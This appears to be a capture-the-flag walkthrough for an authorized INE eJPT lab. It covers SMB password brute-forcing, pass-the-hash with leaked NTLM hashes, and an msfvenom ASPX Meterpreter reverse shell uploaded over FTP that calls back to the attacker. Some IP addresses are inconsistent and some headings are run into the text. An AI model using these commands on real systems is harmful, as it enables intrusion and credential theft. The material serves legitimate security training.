Enumerate the services on target.ine.local and capture four flags.
A target machine is accessible at target.ine.local. Identify the services and capture the flags.
tom hasn't changed his password in a long time.nancy.C:\flag4.txt.A useful wordlist: /usr/share/wordlists/metasploit/unix_passwords.txt
All work is performed against an authorized INE training lab for eJPT exam preparation.
tom's old passwordFirst, identify the attacker interfaces. The eth1 interface sits in the target network range and is used for scanning and exploitation.
ip addr
Check /etc/hosts for a static hostname mapping:
cat /etc/hosts
# target.ine.local → 10.3.21.53
nmap -sV -sC -Pn -A -p- 10.3.21.53
Web content discovery (good practice):
dirb http://10.3.21.53
gobuster dir -u http://10.3.21.53 -w /usr/share/wordlists/dirb/common.txt
ls /usr/share/wordlists/seclists/Passwords/
A Hydra SMB attempt fails because the target only supports SMBv2/SMBv3, while Hydra's SMB module relies on legacy behavior:
hydra -l tom -P /usr/share/wordlists/fasttrack.txt smb://10.3.21.53:445
CrackMapExec is the right tool for modern SMB. rockyou.txt ships gzip-compressed and must be decompressed first:
gunzip /usr/share/wordlists/rockyou.txt.gz
crackmapexec smb target.ine.local -u tom -p /usr/share/wordlists/rockyou.txt
Valid credentials are found: tom : felipe
crackmapexec smb target.ine.local -u tom -p felipe --shares
# Option 1 — smbclient
smbclient -L //target.ine.local -U tom # password: felipe
# Option 2 — smbmap
smbmap -H target.ine.local -u tom -p felipe
Connect to the HR share and read the flag:
smbclient //target.ine.local/HRDocuments -U tom # password: felipe
smb> ls
smb> more flag1.txt
# or: mget * → then in a new terminal: cat flag1.txt
smbclient has no cat. Use more, or mget * to download and read locally.The share also contained a leaked hash list (cat leaked-hashes.txt) — used next.
nancy with Pass-the-HashHydra isn't suitable for NTLM-hash auth — use SMB-aware tools. Extract just the hashes:
cut -d ':' -f2 leaked-hashes.txt > ntlm_hashes.txt
A quick Bash loop to Pass-the-Hash each one as nancy:
while read hash; do
echo "[*] Testing $hash"
smbclient -L //target.ine.local -U nancy --pw-nt-hash "$hash" 2>/dev/null \
| grep -q "Disk" && echo "[+] THIS IS NANCY'S HASH: $hash"
done < ntlm_hashes.txt
smb_loginmsfconsole -q
search smb
use auxiliary/scanner/smb/smb_login
show options
set RHOSTS 10.3.17.25
set PASS_FILE leaked-hashes.txt
set SMBUser nancy
set CreateSession true
run
Valid hash for nancy:
nancy:aad3b435b51404eeaad3b435b51404ee:b3ddea4b4b957f3e037af75cfe5317ad
Interact with the session and browse shares:
sessions
sessions 1
shares
shares -i HRDocuments
shares -i ITResources
Retrieve flag2.txt and a hint file (cat hint.txt).
Hint found: david : omnitrix_9901
ftp target.ine.local
# username: david
# password: omnitrix_9901
ftp> get flag3.txt
In a new terminal: cat flag3.txt
Find your local (attacker) IP with ip a, then generate an ASPX Meterpreter payload (the target runs IIS and executes .aspx):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.40.2 LPORT=1234 -f aspx > shell.aspx
| Part | Meaning |
|---|---|
-p ...reverse_tcp | Windows 64-bit Meterpreter reverse shell |
LHOST | Your attacker IP |
LPORT | Listener port |
-f aspx | Output format for ASP.NET / IIS |
Upload the shell over FTP:
ftp target.ine.local # david / omnitrix_9901
ftp> put shell.aspx
Start a listener:
msfconsole
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.40.3
set LPORT 1234
run
Trigger the shell by browsing to http://target.ine.local/shell.aspx. Once Meterpreter opens:
getuid
sysinfo
getprivs
cat C:\flag4.txt
| Flag | Technique |
|---|---|
| 1 | SMB password brute-force with CrackMapExec → read HR share |
| 2 | Pass-the-Hash with leaked NTLM hashes (Metasploit smb_login) |
| 3 | Reused credential hint over FTP |
| 4 | ASPX Meterpreter payload uploaded via FTP, executed through IIS |
.aspx web shell.